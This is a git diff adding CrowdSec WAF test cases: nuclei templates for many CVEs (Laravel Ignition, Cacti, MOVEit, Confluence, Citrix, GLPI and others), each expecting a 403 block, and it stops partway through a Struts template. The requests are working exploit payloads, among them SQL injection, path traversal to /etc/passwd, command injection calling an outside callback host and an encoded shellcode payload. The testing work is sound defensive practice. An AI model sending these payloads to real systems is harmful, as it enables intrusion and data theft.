diff --git a/.appsec-tests/CVE-2017-9841/CVE-2017-9841.yaml b/.appsec-tests/CVE-2017-9841/CVE-2017-9841.yaml
new file mode 100755
index 00000000000..b529047ba40
--- /dev/null
+++ b/.appsec-tests/CVE-2017-9841/CVE-2017-9841.yaml
@@ -0,0 +1,22 @@
+id: CVE-2017-9841
+info:
+ name: CVE-2017-9841
+ author: crowdsec
+ severity: info
+ description: CVE-2017-9841 testing
+ tags: appsec-testing
+http:
+#this is a dummy request, edit the request(s) to match your needs
+ - raw:
+ - |
+ GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: text/html
+
+
+ cookie-reuse: true
+#test will fail because we won't match http status
+ matchers:
+ - type: status
+ status:
+ - 403
diff --git a/.appsec-tests/CVE-2017-9841/config.yaml b/.appsec-tests/CVE-2017-9841/config.yaml
new file mode 100644
index 00000000000..a2f4cc65848
--- /dev/null
+++ b/.appsec-tests/CVE-2017-9841/config.yaml
@@ -0,0 +1,3 @@
+appsec-rules:
+- ./appsec-rules/crowdsecurity/vpatch-CVE-2017-9841.yaml
+nuclei_template: CVE-2017-9841.yaml
diff --git a/.appsec-tests/CVE-2019-12989/CVE-2019-12989.yaml b/.appsec-tests/CVE-2019-12989/CVE-2019-12989.yaml
new file mode 100755
index 00000000000..47b55008723
--- /dev/null
+++ b/.appsec-tests/CVE-2019-12989/CVE-2019-12989.yaml
@@ -0,0 +1,24 @@
+id: CVE-2019-12989
+info:
+ name: CVE-2019-12989
+ author: crowdsec
+ severity: info
+ description: CVE-2019-12989 testing
+ tags: appsec-testing
+http:
+#this is a dummy request, edit the request(s) to match your needs
+ - raw:
+ - |
+ POST /sdwan/nitro/v1/config/get_package_file?action=file_download HTTP/1.1
+ Host: {{Hostname}}
+ SSL_CLIENT_VERIFY: SUCCESS
+ Content-Type: application/json
+ Content-Length: 178
+
+ {"get_package_file": {"site_name": "blah' union select 'tenable','zero','day','research' INTO OUTFILE '/tmp/token_01234';#","appliance_type": "primary","package_type": "active"}}
+ cookie-reuse: true
+#test will fail because we won't match http status
+ matchers:
+ - type: status
+ status:
+ - 403
diff --git a/.appsec-tests/CVE-2019-12989/config.yaml b/.appsec-tests/CVE-2019-12989/config.yaml
new file mode 100644
index 00000000000..67c49d711b6
--- /dev/null
+++ b/.appsec-tests/CVE-2019-12989/config.yaml
@@ -0,0 +1,4 @@
+appsec-rules:
+- ./appsec-rules/crowdsecurity/base-config.yaml
+- ./appsec-rules/crowdsecurity/vpatch-CVE-2019-12989.yaml
+nuclei_template: CVE-2019-12989.yaml
diff --git a/.appsec-tests/CVE-2020-11738/CVE-2020-11738.yaml b/.appsec-tests/CVE-2020-11738/CVE-2020-11738.yaml
new file mode 100755
index 00000000000..970cc60edc2
--- /dev/null
+++ b/.appsec-tests/CVE-2020-11738/CVE-2020-11738.yaml
@@ -0,0 +1,20 @@
+id: CVE-2020-11738
+info:
+ name: CVE-2020-11738
+ author: crowdsec
+ severity: info
+ description: CVE-2020-11738 testing
+ tags: appsec-testing
+http:
+#this is a dummy request, edit the request(s) to match your needs
+ - raw:
+ - |
+ GET /wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
+ Host: {{Hostname}}
+
+ cookie-reuse: true
+#test will fail because we won't match http status
+ matchers:
+ - type: status
+ status:
+ - 403
diff --git a/.appsec-tests/CVE-2020-11738/config.yaml b/.appsec-tests/CVE-2020-11738/config.yaml
new file mode 100644
index 00000000000..455ebdac57f
--- /dev/null
+++ b/.appsec-tests/CVE-2020-11738/config.yaml
@@ -0,0 +1,3 @@
+appsec-rules:
+- ./appsec-rules/crowdsecurity/vpatch-CVE-2020-11738.yaml
+nuclei_template: CVE-2020-11738.yaml
diff --git a/.appsec-tests/CVE-2021-22941/CVE-2021-22941.yaml b/.appsec-tests/CVE-2021-22941/CVE-2021-22941.yaml
new file mode 100755
index 00000000000..18028ad2ae1
--- /dev/null
+++ b/.appsec-tests/CVE-2021-22941/CVE-2021-22941.yaml
@@ -0,0 +1,31 @@
+id: CVE-2021-22941
+info:
+ name: CVE-2021-22941
+ author: crowdsec
+ severity: info
+ description: CVE-2021-22941 testing
+ tags: appsec-testing
+http:
+#this is a dummy request, edit the request(s) to match your needs
+ - raw:
+ - |
+ POST /upload.aspx?uploadid=%40using+System.Diagnostics%3B%40%7Bint+idx0%3D+0%3Bstring+str_idx0+%3D+idx0.ToString%28%29%3B+int+idx1+%3D+1%3Bstring+str_idx1+%3D+idx1.ToString%28%29%3Bstring+cmd+%3D+Request.QueryString%5Bstr_idx0%5D%3Bstring+arg+%3D+Request.QueryString%5Bstr_idx1%5D%3BProcess.Start%28cmd%2Carg%29%3B%7D%2F..%2F..%2FConfigService%5CViews%5CShared%5CError.cshtml&bp=123&accountid=123 HTTP/1.1
+ Host: 127.0.0.1:4241
+ User-Agent: python-requests/2.28.2
+ Accept-Encoding: gzip, deflate, br
+ Accept: */*
+ Connection: keep-alive
+ Content-Type: multipart/form-data; boundary=boundary
+ Content-Length: 104
+
+ --boundary
+ Content-Disposition: form-data; name="text4"; filename="text5"
+
+ V8C7BH6OHT
+ --boundary--
+ cookie-reuse: true
+#test will fail because we won't match http status
+ matchers:
+ - type: status
+ status:
+ - 403
diff --git a/.appsec-tests/CVE-2021-22941/config.yaml b/.appsec-tests/CVE-2021-22941/config.yaml
new file mode 100644
index 00000000000..59865018204
--- /dev/null
+++ b/.appsec-tests/CVE-2021-22941/config.yaml
@@ -0,0 +1,3 @@
+appsec-rules:
+- ./appsec-rules/crowdsecurity/vpatch-CVE-2021-22941.yaml
+nuclei_template: CVE-2021-22941.yaml
diff --git a/.appsec-tests/CVE-2021-3129/CVE-2021-3129.yaml b/.appsec-tests/CVE-2021-3129/CVE-2021-3129.yaml
new file mode 100755
index 00000000000..ece8bdd7075
--- /dev/null
+++ b/.appsec-tests/CVE-2021-3129/CVE-2021-3129.yaml
@@ -0,0 +1,30 @@
+id: CVE-2021-3129
+info:
+ name: CVE-2021-3129
+ author: crowdsec
+ severity: info
+ description: CVE-2021-3129 testing
+ tags: appsec-testing
+http:
+ - raw:
+ - |
+ POST /_ignition/execute-solution HTTP/1.1
+ Host: {{Hostname}}
+ Accept: application/json
+ Content-Type: application/json
+
+ {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
+ - |
+ POST /_ignition/execute-solution HTTP/1.1
+ Host: {{Hostname}}
+ Accept: application/json
+ Content-Type: application/json
+
+ {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "phar://../storage/logs/laravel.log/test.txt"}}
+
+ cookie-reuse: true
+#test will fail because we won't match http status
+ matchers:
+ - type: status
+ status:
+ - 403
diff --git a/.appsec-tests/CVE-2021-3129/config.yaml b/.appsec-tests/CVE-2021-3129/config.yaml
new file mode 100644
index 00000000000..0552429ef9c
--- /dev/null
+++ b/.appsec-tests/CVE-2021-3129/config.yaml
@@ -0,0 +1,4 @@
+appsec-rules:
+- ./appsec-rules/crowdsecurity/base-config.yaml
+- ./appsec-rules/crowdsecurity/vpatch-CVE-2021-3129.yaml
+nuclei_template: CVE-2021-3129.yaml
diff --git a/.appsec-tests/CVE-2022-27926/CVE-2022-27926.yaml b/.appsec-tests/CVE-2022-27926/CVE-2022-27926.yaml
new file mode 100644
index 00000000000..3b0ceb49ff4
--- /dev/null
+++ b/.appsec-tests/CVE-2022-27926/CVE-2022-27926.yaml
@@ -0,0 +1,19 @@
+id: CVE-2022-27926
+
+info:
+ name: Zimbra Collaboration (ZCS) - Cross Site Scripting
+ author: rootxharsh,iamnoooob,pdresearch
+ severity: medium
+ description: |
+ A reflected cross-site scripting (XSS) vulnerability in the /public/launchNewWindow.jsp component of Zimbra Collaboration (aka ZCS) 9.0 allows unauthenticated attackers to execute arbitrary web script or HTML via request parameters.
+
+http:
+ - method: GET
+ path:
+ - "{{BaseURL}}/public/error.jsp?errCode=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E"
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 403
\ No newline at end of file
diff --git a/.appsec-tests/CVE-2022-27926/config.yaml b/.appsec-tests/CVE-2022-27926/config.yaml
new file mode 100644
index 00000000000..f436cbcf62b
--- /dev/null
+++ b/.appsec-tests/CVE-2022-27926/config.yaml
@@ -0,0 +1,3 @@
+appsec-rules:
+- ./appsec-rules/crowdsecurity/vpatch-CVE-2022-27926.yaml
+nuclei_template: CVE-2022-27926.yaml
diff --git a/.appsec-tests/CVE-2022-35914/CVE-2022-35914.yaml b/.appsec-tests/CVE-2022-35914/CVE-2022-35914.yaml
new file mode 100644
index 00000000000..1e51d8cf39d
--- /dev/null
+++ b/.appsec-tests/CVE-2022-35914/CVE-2022-35914.yaml
@@ -0,0 +1,26 @@
+id: CVE-2022-35914
+
+info:
+ name: GLPI <=10.0.2 - Remote Command Execution
+ author: For3stCo1d
+ severity: critical
+ description: |
+ GLPI through 10.0.2 is susceptible to remote command execution injection in /vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module.
+variables:
+ cmd: "cat+/etc/passwd"
+
+http:
+ - raw:
+ - |
+ POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+ Cookie: sid=foo
+
+ sid=foo&hhook=exec&text={{cmd}}
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 403
\ No newline at end of file
diff --git a/.appsec-tests/CVE-2022-35914/config.yaml b/.appsec-tests/CVE-2022-35914/config.yaml
new file mode 100644
index 00000000000..19ef93b0fc5
--- /dev/null
+++ b/.appsec-tests/CVE-2022-35914/config.yaml
@@ -0,0 +1,3 @@
+appsec-rules:
+- ./appsec-rules/crowdsecurity/vpatch-CVE-2022-35914.yaml
+nuclei_template: CVE-2022-35914.yaml
diff --git a/.appsec-tests/CVE-2022-44877/CVE-2022-44877.yaml b/.appsec-tests/CVE-2022-44877/CVE-2022-44877.yaml
new file mode 100755
index 00000000000..90061b5d77a
--- /dev/null
+++ b/.appsec-tests/CVE-2022-44877/CVE-2022-44877.yaml
@@ -0,0 +1,22 @@
+id: CVE-2022-44877
+info:
+ name: CVE-2022-44877
+ author: crowdsec
+ severity: info
+ description: CVE-2022-44877 testing
+ tags: appsec-testing
+http:
+#this is a dummy request, edit the request(s) to match your needs
+ - raw:
+ - |
+ POST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}`whoami`.{{interactsh-url}}) HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ username=root&password=toor&commit=Login
+ cookie-reuse: true
+#test will fail because we won't match http status
+ matchers:
+ - type: status
+ status:
+ - 403
diff --git a/.appsec-tests/CVE-2022-44877/config.yaml b/.appsec-tests/CVE-2022-44877/config.yaml
new file mode 100644
index 00000000000..6aceab8f633
--- /dev/null
+++ b/.appsec-tests/CVE-2022-44877/config.yaml
@@ -0,0 +1,3 @@
+appsec-rules:
+- ./appsec-rules/crowdsecurity/vpatch-CVE-2022-44877.yaml
+nuclei_template: CVE-2022-44877.yaml
diff --git a/.appsec-tests/CVE-2022-46169/CVE-2022-46169.yaml b/.appsec-tests/CVE-2022-46169/CVE-2022-46169.yaml
new file mode 100644
index 00000000000..b09f4452c24
--- /dev/null
+++ b/.appsec-tests/CVE-2022-46169/CVE-2022-46169.yaml
@@ -0,0 +1,23 @@
+id: CVE-2022-46169
+
+info:
+ name: Cacti <=1.2.22 - Remote Command Injection
+ author: Hardik-Solanki,j4vaovo
+ severity: critical
+ description: |
+ Cacti through 1.2.22 is susceptible to remote command injection. There is insufficient authorization within the remote agent when handling HTTP requests with a custom Forwarded-For HTTP header. An attacker can send a specially crafted HTTP request to the affected instance and execute arbitrary OS commands on the server, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
+variables:
+ useragent: '{{rand_base(6)}}'
+
+http:
+ - raw:
+ - |
+ GET /remote_agent.php?action=polldata&local_data_ids[0]=1&host_id=1&poller_id=%3Bcurl%20{{interactsh-url}}%20-H%20'User-Agent%3a%20{{useragent}}'%3B HTTP/1.1
+ Host: {{Hostname}}
+ X-Forwarded-For: 127.0.0.1
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 403
\ No newline at end of file
diff --git a/.appsec-tests/CVE-2022-46169/config.yaml b/.appsec-tests/CVE-2022-46169/config.yaml
new file mode 100644
index 00000000000..8d9e09dd195
--- /dev/null
+++ b/.appsec-tests/CVE-2022-46169/config.yaml
@@ -0,0 +1,3 @@
+appsec-rules:
+- ./appsec-rules/crowdsecurity/vpatch-CVE-2022-46169.yaml
+nuclei_template: CVE-2022-46169.yaml
diff --git a/.appsec-tests/CVE-2023-20198/CVE-2023-20198.yaml b/.appsec-tests/CVE-2023-20198/CVE-2023-20198.yaml
new file mode 100755
index 00000000000..05cae5e9a4d
--- /dev/null
+++ b/.appsec-tests/CVE-2023-20198/CVE-2023-20198.yaml
@@ -0,0 +1,39 @@
+id: CVE-2023-20198
+info:
+ name: CVE-2023-20198
+ author: crowdsec
+ severity: info
+ description: CVE-2023-20198 testing
+ tags: appsec-testing
+http:
+ - raw:
+ - |
+ POST /%2577ebui_wsma_https HTTP/1.1
+ Host: {{Hostname}}
+
+
+
+
+
+
+ #{username}
+ *****
+
+
+
+
+
+
+
+
+
+
+
+
+
+ cookie-reuse: true
+#test will fail because we won't match http status
+ matchers:
+ - type: status
+ status:
+ - 403
diff --git a/.appsec-tests/CVE-2023-20198/config.yaml b/.appsec-tests/CVE-2023-20198/config.yaml
new file mode 100644
index 00000000000..db4af629436
--- /dev/null
+++ b/.appsec-tests/CVE-2023-20198/config.yaml
@@ -0,0 +1,3 @@
+appsec-rules:
+- ./appsec-rules/crowdsecurity/vpatch-CVE-2023-20198.yaml
+nuclei_template: CVE-2023-20198.yaml
diff --git a/.appsec-tests/CVE-2023-22515/CVE-2023-22515.yaml b/.appsec-tests/CVE-2023-22515/CVE-2023-22515.yaml
new file mode 100644
index 00000000000..f4d428850ad
--- /dev/null
+++ b/.appsec-tests/CVE-2023-22515/CVE-2023-22515.yaml
@@ -0,0 +1,28 @@
+id: CVE-2023-22515
+info:
+ name: Atlassian Confluence - Privilege Escalation
+ severity: critical
+ author: crowdsec
+ description: |
+ Atlassian Confluence Data Center and Server contains a privilege escalation vulnerability that allows an attacker to create unauthorized Confluence administrator accounts and access Confluence.
+variables:
+ username: "{{rand_base(10)}}"
+ password: "{{rand_base(10)}}"
+ email: "{{username}}@{{password}}"
+
+http:
+ - raw:
+ - |
+ @timeout:20s
+ POST /setup/setupadministrator.action HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+ X-Atlassian-Token: no-check
+
+ username={{to_lower(username)}}&fullName=admin&email={{email}}.com&password={{password}}&confirm={{password}}&setup-next-button=Next
+ cookie-reuse: true
+ redirects: true
+ matchers:
+ - type: status
+ status:
+ - 403
\ No newline at end of file
diff --git a/.appsec-tests/CVE-2023-22515/config.yaml b/.appsec-tests/CVE-2023-22515/config.yaml
new file mode 100644
index 00000000000..941b820282e
--- /dev/null
+++ b/.appsec-tests/CVE-2023-22515/config.yaml
@@ -0,0 +1,3 @@
+appsec-rules:
+- ./appsec-rules/crowdsecurity/vpatch-CVE-2023-22515.yaml
+nuclei_template: CVE-2023-22515.yaml
diff --git a/.appsec-tests/CVE-2023-24489/CVE-2023-24489.yaml b/.appsec-tests/CVE-2023-24489/CVE-2023-24489.yaml
new file mode 100755
index 00000000000..69468a5212b
--- /dev/null
+++ b/.appsec-tests/CVE-2023-24489/CVE-2023-24489.yaml
@@ -0,0 +1,31 @@
+id: CVE-2023-24489
+info:
+ name: CVE-2023-24489
+ author: crowdsec
+ severity: info
+ description: CVE-2023-24489 testing
+ tags: appsec-testing
+variables:
+ fileName: '{{rand_base(8)}}'
+ #in real life padding varies to abuse the crypto bug
+ padding: 'QUFBQUFBQUFBQUFBQUFBAEFBQUFBQUFBQUFBQUFBQUE='
+http:
+ - raw:
+ - |
+ POST /documentum/upload.aspx?parentid={{padding}}&raw=1&unzip=on&uploadid={{fileName}}\..\..\..\cifs&filename={{fileName}}.aspx HTTP/1.1
+ Host: {{Hostname}}
+
+ <%@ Page Language="C#" Debug="true" Trace="false" %>
+
+
+ cookie-reuse: true
+#test will fail because we won't match http status
+ matchers:
+ - type: status
+ status:
+ - 403
\ No newline at end of file
diff --git a/.appsec-tests/CVE-2023-24489/config.yaml b/.appsec-tests/CVE-2023-24489/config.yaml
new file mode 100644
index 00000000000..db388766b6e
--- /dev/null
+++ b/.appsec-tests/CVE-2023-24489/config.yaml
@@ -0,0 +1,4 @@
+appsec-rules:
+- ./appsec-rules/crowdsecurity/base-config.yaml
+- ./appsec-rules/crowdsecurity/vpatch-CVE-2023-24489.yaml
+nuclei_template: CVE-2023-24489.yaml
diff --git a/.appsec-tests/CVE-2023-33617/CVE-2023-33617.yaml b/.appsec-tests/CVE-2023-33617/CVE-2023-33617.yaml
new file mode 100755
index 00000000000..4894a4eea05
--- /dev/null
+++ b/.appsec-tests/CVE-2023-33617/CVE-2023-33617.yaml
@@ -0,0 +1,40 @@
+id: cve-2023-33617
+info:
+ name: cve-2023-33617
+ author: crowdsec
+ severity: info
+ description: cve-2023-33617 testing
+ tags: appsec-testing
+http:
+#we're testing two requests:
+# 1. login with default creds
+# 2. exploitation of the actual vuln
+# 3. the last one shouldn't match
+ - raw:
+ - |
+ POST /boaform/admin/formLogin HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ username=admin&psd=parks
+ - |
+ POST /boaform/admin/formPing HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ target_addr=1.2.3.4;cat /etc/passwd
+ - |
+ POST /boaform/admin/formPing HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ target_addr=1.2.3.4
+ cookie-reuse: true
+#test will fail because we won't match http status
+ matchers:
+ - type: dsl
+ condition: and
+ dsl:
+ - 'status_code_1 == 403'
+ - 'status_code_2 == 403'
+ - 'status_code_3 == 404'
\ No newline at end of file
diff --git a/.appsec-tests/CVE-2023-33617/config.yaml b/.appsec-tests/CVE-2023-33617/config.yaml
new file mode 100644
index 00000000000..4a7289b5bfa
--- /dev/null
+++ b/.appsec-tests/CVE-2023-33617/config.yaml
@@ -0,0 +1,3 @@
+appsec-rules:
+- ./appsec-rules/crowdsecurity/vpatch-CVE-2023-33617.yaml
+nuclei_template: CVE-2023-33617.yaml
diff --git a/.appsec-tests/CVE-2023-34362/CVE-2023-34362.yaml b/.appsec-tests/CVE-2023-34362/CVE-2023-34362.yaml
new file mode 100644
index 00000000000..6c1ce11f2a5
--- /dev/null
+++ b/.appsec-tests/CVE-2023-34362/CVE-2023-34362.yaml
@@ -0,0 +1,29 @@
+id: CVE-2023-34362
+
+info:
+ name: MOVEit Transfer - Remote Code Execution
+ author: princechaddha,rootxharsh,ritikchaddha,pdresearch
+ severity: critical
+variables:
+ sessioncookie: "{{randstr}}"
+ ips: "127.0.0.1"
+
+http:
+ - raw:
+ - |
+ POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1
+ Host: {{Hostname}}
+ User-Agent: python-requests/2.26.0
+ Accept-Encoding: gzip, deflate
+ Accept: */*
+ Ax-silock-transaction: folder_add_by_path
+ X-siLock-Transaction: session_setvars
+ X-siLock-SessVar0: MyPkgID: 0
+ X-siLock-SessVar1: MyPkgSelfProvisionedRecips: SQL Injection'); INSERT INTO activesessions (SessionID) values ('{{sessioncookie}}');UPDATE activesessions SET Username=(select Username from users order by permission desc limit 1) WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET LoginName='test@test.com' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET RealName='test@test.com' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET InstId='1234' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET IpAddress='{{ips}}' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET LastTouch='2099-06-10 09:30:00' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET DMZInterface='10' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET Timeout='60' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET ResilNode='10' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET AcctReady='1' WHERE SessionID='{{sessioncookie}}'; -- asdf
+ Cookie: siLockLongTermInstID=0
+ Content-Length: 0
+ matchers:
+ - type: status
+ status:
+ - 403
+
diff --git a/.appsec-tests/CVE-2023-34362/config.yaml b/.appsec-tests/CVE-2023-34362/config.yaml
new file mode 100644
index 00000000000..7035605a2d7
--- /dev/null
+++ b/.appsec-tests/CVE-2023-34362/config.yaml
@@ -0,0 +1,3 @@
+appsec-rules:
+- ./appsec-rules/crowdsecurity/vpatch-CVE-2023-34362.yaml
+nuclei_template: CVE-2023-34362.yaml
diff --git a/.appsec-tests/CVE-2023-3519/CVE-2023-3519.yaml b/.appsec-tests/CVE-2023-3519/CVE-2023-3519.yaml
new file mode 100755
index 00000000000..91fcff6f144
--- /dev/null
+++ b/.appsec-tests/CVE-2023-3519/CVE-2023-3519.yaml
@@ -0,0 +1,20 @@
+id: CVE-2023-3519
+info:
+ name: CVE-2023-3519
+ author: crowdsec
+ severity: info
+ description: CVE-2023-3519 testing
+ tags: appsec-testing
+http:
+#this is a dummy request, edit the request(s) to match your needs
+ - raw:
+ - |
+ GET /gwtest/formssso?event=start&target=DrKQG9NqdhyZwRtgjotDXh3NufqkpYGOSipe6bBUYDaTfAJtcMFoDjBi6UjPMfBxPOicdLS6ODbGeP6qsZOzjzpxCPD1Rzz9OEcKMfKkWbaxDj72jrJgO7NhFYzPHAFrdOuzmpkdSgFG8RtO7bKzUXpLhvwWchkJX1BUoCk0��a�%30%02%00%00%65%78%70%6f%72%74%20%50%41%54%48%3d%2f%76%61%72%2f%70%79%74%68%6f%6e%2f%62%69%6e%3a%24%50%41%54%48%3b%65%63%68%6f%20%65%78%65%63%5c%28%5f%5f%69%6d%70%6f%72%74%5f%5f%5c%28%5c%27%7a%6c%69%62%5c%27%5c%29%2e%64%65%63%6f%6d%70%72%65%73%73%5c%28%5f%5f%69%6d%70%6f%72%74%5f%5f%5c%28%5c%27%62%61%73%65%36%34%5c%27%5c%29%2e%62%36%34%64%65%63%6f%64%65%5c%28%5f%5f%69%6d%70%6f%72%74%5f%5f%5c%28%5c%27%63%6f%64%65%63%73%5c%27%5c%29%2e%67%65%74%65%6e%63%6f%64%65%72%5c%28%5c%27%75%74%66%2d%38%5c%27%5c%29%5c%28%5c%27%65%4e%6f%39%55%45%31%4c%78%44%41%51%50%54%65%2f%49%72%63%6b%47%45%4f%37%31%4b%4b%4c%46%55%51%38%69%49%6a%67%65%68%4f%52%4e%68%6b%31%4e%45%31%43%6b%74%57%71%2b%4e%39%74%79%4f%49%63%5a%6e%67%7a%62%39%35%38%36%4e%6d%37%6b%48%42%30%63%6f%4c%45%76%34%30%65%2b%54%68%45%36%46%6f%65%55%39%6a%4c%78%4a%4f%65%41%62%32%36%67%42%65%73%4c%51%36%44%66%51%50%61%31%47%79%4c%71%68%53%2b%56%6c%2f%46%76%6a%53%4c%45%75%69%47%48%2f%44%75%2f%75%72%32%5a%66%66%34%63%48%31%35%78%7a%4a%50%53%47%63%74%79%45%51%70%61%63%34%32%6f%75%6c%4f%52%62%33%36%6c%76%42%32%4e%5a%59%35%59%34%42%68%51%68%55%73%45%6e%7a%4b%34%6e%6d%36%69%41%62%41%30%78%4f%47%54%46%2b%57%45%6e%76%72%42%7a%6c%52%63%6e%46%44%65%42%51%42%35%41%64%64%42%5a%37%71%5a%36%54%36%41%7a%59%4d%66%62%35%72%41%39%69%41%70%59%71%64%6d%31%56%4f%48%66%31%58%6a%30%75%61%49%56%68%41%30%6e%79%33%55%43%44%64%37%41%50%45%53%4d%73%4c%78%4e%69%31%4f%61%6b%67%4d%2f%6b%50%69%57%51%62%66%78%6e%36%41%79%44%6e%58%7a%51%5c%3d%5c%27%5c%29%5c%5b%30%5c%5d%5c%29%5c%29%5c%29%20%7c%20%65%78%65%63%20%24%28%77%68%69%63%68%20%70%79%74%68%6f%6e%20%7c%7c%20%77%68%69%63%68%20%70%79%74%68%6f%6e%33%20%7c%7c%20%77%68%69%63%68%20%70%79%74%68%6f%6e%32%29%20%2d%00%5f�%02%00%00%00%72%00%5e%48��%40%63�%01%48%81�%00%02%00%00��%48%31�%48%81Ĩ%15%00%00%68%03%24%78%00� HTTP/1.1
+ Host: {{Hostname}}
+ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
+ cookie-reuse: true
+#test will fail because we won't match http status
+ matchers:
+ - type: status
+ status:
+ - 403
diff --git a/.appsec-tests/CVE-2023-3519/config.yaml b/.appsec-tests/CVE-2023-3519/config.yaml
new file mode 100644
index 00000000000..bbb902a9678
--- /dev/null
+++ b/.appsec-tests/CVE-2023-3519/config.yaml
@@ -0,0 +1,3 @@
+appsec-rules:
+- ./appsec-rules/crowdsecurity/vpatch-CVE-2023-3519.yaml
+nuclei_template: CVE-2023-3519.yaml
diff --git a/.appsec-tests/CVE-2023-38205/CVE-2023-38205.yaml b/.appsec-tests/CVE-2023-38205/CVE-2023-38205.yaml
new file mode 100755
index 00000000000..0043e395418
--- /dev/null
+++ b/.appsec-tests/CVE-2023-38205/CVE-2023-38205.yaml
@@ -0,0 +1,20 @@
+id: CVE-2023-38205
+info:
+ name: CVE-2023-38205
+ author: crowdsec
+ severity: info
+ description: CVE-2023-38205 testing
+ tags: appsec-testing
+http:
+#this is a dummy request, edit the request(s) to match your needs
+ - raw:
+ - |
+ GET /hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1
+ Host: {{Hostname}}
+
+ cookie-reuse: true
+#test will fail because we won't match http status
+ matchers:
+ - type: status
+ status:
+ - 403
diff --git a/.appsec-tests/CVE-2023-38205/config.yaml b/.appsec-tests/CVE-2023-38205/config.yaml
new file mode 100644
index 00000000000..7c5e456aef0
--- /dev/null
+++ b/.appsec-tests/CVE-2023-38205/config.yaml
@@ -0,0 +1,3 @@
+appsec-rules:
+- ./appsec-rules/crowdsecurity/vpatch-CVE-2023-38205.yaml
+nuclei_template: CVE-2023-38205.yaml
diff --git a/.appsec-tests/CVE-2023-50164/CVE-2023-50164.yaml b/.appsec-tests/CVE-2023-50164/CVE-2023-50164.yaml
new file mode 100755
index 00000000000..43ccb950eb3
--- /dev/null
+++ b/.appsec-tests/CVE-2023-50164/CVE-2023-50164.yaml
@@ -0,0 +1,79 @@
+id: CVE-2023-50164
+info:
+ name: CVE-2023-50164
+ author: crowdsec
+ severity: info
+ description: CVE-2023-50164 testing
+ tags: appsec-testing
+http:
+ - raw:
+ - |
+ POST /s2_066_war_exploded/upload.action HTTP/1.1
+ Host: {{Hostname}}
+ Accept-Language: en-US,en;q=0.9
+ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+ Accept-Encoding: gzip, deflate, br
+ Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlip
+ Content-Length: 593
+
+ ------WebKitFormBoundary5WJ61X4PRwyYKlip
+ Content-Disposition: form-data; name="upload"; filename="poc.txt"
+ Content-Type: text/plain
+
+ test
+
+
+ ------WebKitFormBoundary5WJ61X4PRwyYKlip
+ Content-Disposition: form-data; name="uploadFileName";
+
+ ../../poc.txt
+
+ ------WebKitFormBoundary5WJ61X4PRwyYKlip--
+ - |
+ POST /s2_066_war_exploded/upload.action HTTP/1.1
+ Host: {{Hostname}}
+ Accept-Language: en-US,en;q=0.9
+ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+ Accept-Encoding: gzip, deflate, br
+ Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlip
+ Content-Length: 593
+
+ ------WebKitFormBoundary5WJ61X4PRwyYKlip
+ Content-Disposition: form-data; name="upload"; filename="poc.txt"
+ Content-Type: text/plain
+
+ test
+
+
+ ------WebKitFormBoundary5WJ61X4PRwyYKlip
+ Content-Disposition: form-data; name="uPlOadFiLeNamE";
+
+ ../../poc.txt
+
+ ------WebKitFormBoundary5WJ61X4PRwyYKlip--
+ - |
+ POST /s2_066_war_exploded/upload.action?uploadFileName=../../poc.txt HTTP/1.1
+ Host: {{Hostname}}
+ Accept-Language: en-US,en;q=0.9
+ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+ Accept-Encoding: gzip, deflate, br
+ Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlip
+ Content-Length: 593
+
+ ------WebKitFormBoundary5WJ61X4PRwyYKlip
+ Content-Disposition: form-data; name="upload"; filename="poc.txt"
+ Content-Type: text/plain
+
